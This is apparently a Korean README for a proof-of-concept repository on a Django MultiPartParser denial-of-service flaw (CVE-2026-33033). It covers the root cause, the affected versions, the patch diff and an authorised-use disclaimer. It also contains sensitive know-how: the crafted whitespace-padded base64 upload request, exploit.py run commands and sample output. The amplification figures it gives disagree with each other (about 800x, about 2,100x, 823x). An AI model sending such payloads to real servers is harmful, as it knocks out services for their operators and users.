
# CVE-2026-33033 개념 증명 익스플로잇 Django의 MultiPartParser에서 base64 공백 문자 CPU 증폭을 통한 서비스 거부(DoS) 취약점으로, 단일 HTTP 요청으로 약 800배의 증폭을 입증합니다.
Django MultiPartParser의 base64 공백 CPU 증폭을 통한 서비스 거부(DoS)
단일 2.5MB HTTP 요청으로 Django 워커를 약 5초 동안 점유하여, 동일 크기의 일반 요청 대비 약 2,100배의 CPU 증폭을 달성할 수 있습니다. 인증은 필요하지 않습니다.
이 취약점은 Django 6.0.4 보안 릴리스(2026년 4월 7일)에서 수정되었으며, 지원되는 모든 브랜치에 백포트되었습니다.
| 브랜치 | 영향받는 버전 | 수정 버전 |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033:
MultiPartParser의 base64 인코딩 파일 업로드를 통한 잠재적 서비스 거부 취약점 (심각도: 보통)
django.http.multipartparser.MultiPartParser를 사용할 때, 과도한 공백을 포함한Content-Transfer-Encoding: base64멀티파트 업로드는 반복적인 메모리 복사를 유발하여 성능 저하를 초래할 수 있습니다.
| CVE | 심각도 | 설명 |
|---|---|---|
| CVE-2026-3902 | 낮음 | 밑줄/하이픈 혼동을 통한 ASGI 헤더 스푸핑 |
| CVE-2026-4277 | 낮음 | GenericInlineModelAdmin의 권한 남용 |
| CVE-2026-4292 | 낮음 | ModelAdmin.list_editable의 권한 남용 |
| CVE-2026-33034 | 낮음 | Content-Length 누락으로 인한 ASGI 메모리 업로드 제한 우회 |
Django의 MultiPartParser에는 Content-Transfer-Encoding: base64 파일 파트를 처리하는 특수 코드 경로가 있습니다. 각 청크에서 공백을 제거한 후 결과가 4바이트의 배수로 정렬되지 않으면, while 루프가 field_stream.read(1)을 호출하여 추가 바이트를 한 번에 하나씩 가져옵니다.
파일 본문이 거의 전부 공백인 경우, 가져온 각 바이트는 제거되어 아무것도 남지 않으므로 루프는 계속됩니다 — 공백 바이트마다 read(1)을 한 번씩 호출합니다. 핵심 통찰은 각 read(1)이 보이는 것보다 훨씬 비용이 많이 든다는 것입니다:
계층 1: base64 정렬 루프가 공백 바이트마다 read(1) 호출
|
계층 2: LazyStream.read(1)이 전체 잔여분(~64KB)을 가져와 1바이트를 슬라이스하고,
~64KB - 1을 unget --> 호출당 O(C) 바이트 복사
|
계층 3: unget()이 self._leftover = bytes + self._leftover 수행
매번 새 bytes 객체 생성 --> ~C 바이트의 memcpy
64KB 청크마다 복사 작업은 등차수열을 형성합니다:
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 21.5억 바이트 연산
2.5MB 입력(~40개 청크)의 경우: 단일 HTTP 요청으로 약 860억 바이트의 memcpy 작업이 발생합니다.
Django에는 동일한 바이트 수가 50회 작업 내에서 40회 이상 unget되면 SuspiciousMultipartForm을 발생시키는 _update_unget_history()가 포함되어 있습니다. 그러나 이 공격에서는 unget 크기가 단조 감소(65535, 65534, 65533, ...)하므로 모든 크기가 고유하며 검사가 절대 트리거되지 않습니다.
CSRF 미들웨어는 뷰가 실행되기 전에 request.POST에 접근하므로, 403을 반환하는 엔드포인트도 전체 파싱 비용을 부담합니다.
CVE-2026-33033-PoC/
├── README.md # 이 파일
├── LICENSE
├── requirements.txt # Python 의존성
├── exploit.py # 익스플로잇 스크립트
└── victim/ # 취약한 Django 서버
├── manage.py
├── uwsgi.ini # uWSGI 배포 설정
└── victim/
├── __init__.py
├── settings.py # Django 기본값 (특별한 설정 불필요)
├── urls.py # /upload 및 /health 엔드포인트
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
옵션 A: Django 개발 서버 (가장 빠름)
cd victim
python manage.py runserver 0.0.0.0:8000
옵션 B: uWSGI (더 현실적 — 4개 워커 사용)
cd victim
uwsgi --ini uwsgi.ini
별도의 터미널에서:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
옵션:
| 플래그 | 기본값 | 설명 |
|---|---|---|
--target | http://127.0.0.1:8000/upload | 대상 업로드 엔드포인트 |
--size | 2621440 (2.5 MB) | 페이로드 크기(바이트) |
--rounds | 3 | 공격 라운드 수 |
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================
Target: http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds: 3
[*] Checking server health...
[+] Server is up.
------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
Status: 200
Time: 5.55 ms
------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------
Round 1/3:
Status: 200
Time: 4571.12 ms
...
============================================================
RESULTS
============================================================
Benign request: 5.55 ms
Attack average: 4571.12 ms (over 3 rounds)
Amplification: 823x
[!] VULNERABLE: Average attack time exceeds 1 second.
A single 2.5 MB request ties up a worker for ~4.6s.
With 4 workers, just 4 concurrent requests can DoS the server.
익스플로잇은 단일 파일 파트가 포함된 multipart/form-data POST 본문을 구성합니다:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2,621,433 spaces>A
------CVE2026-33033--
AAA는 stripped_chunk = b"AAA"(3바이트)를 만들므로 remaining = 3 % 4 = 3이 됩니다.field_stream.read(1)을 호출합니다.b"".join(b" ".split()) == b""), remaining = 3이 유지됩니다.LazyStream.read(1)은 unget 메커니즘을 통해 내부적으로 약 64KB를 복사합니다.django/http/multipartparser.py, 302-325행 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # strips to empty
remaining = len(stripped_chunk) % 4 # stays at 3
수정 사항(Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29에 적용)은 바이트 단위 read(1) 루프를 대량 read(self._chunk_size)로 대체합니다:
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
주요 변경 사항:
read(4 - remaining) → read(self._chunk_size) — 1-3바이트 대신 한 번에 64KB를 읽어 read 호출을 약 250만 회에서 약 40회로 줄입니다.stripped_chunk += ... → stripped_parts.append(...) + 최종 b"".join() — 잠재적 2차 바이트 연결을 방지합니다.len(stripped_chunk) % 4 → stripped_length 카운터 — 중복 길이 재계산을 방지합니다.이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고, 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에만 사용하십시오.
Apache License 2.0 — LICENSE 참조.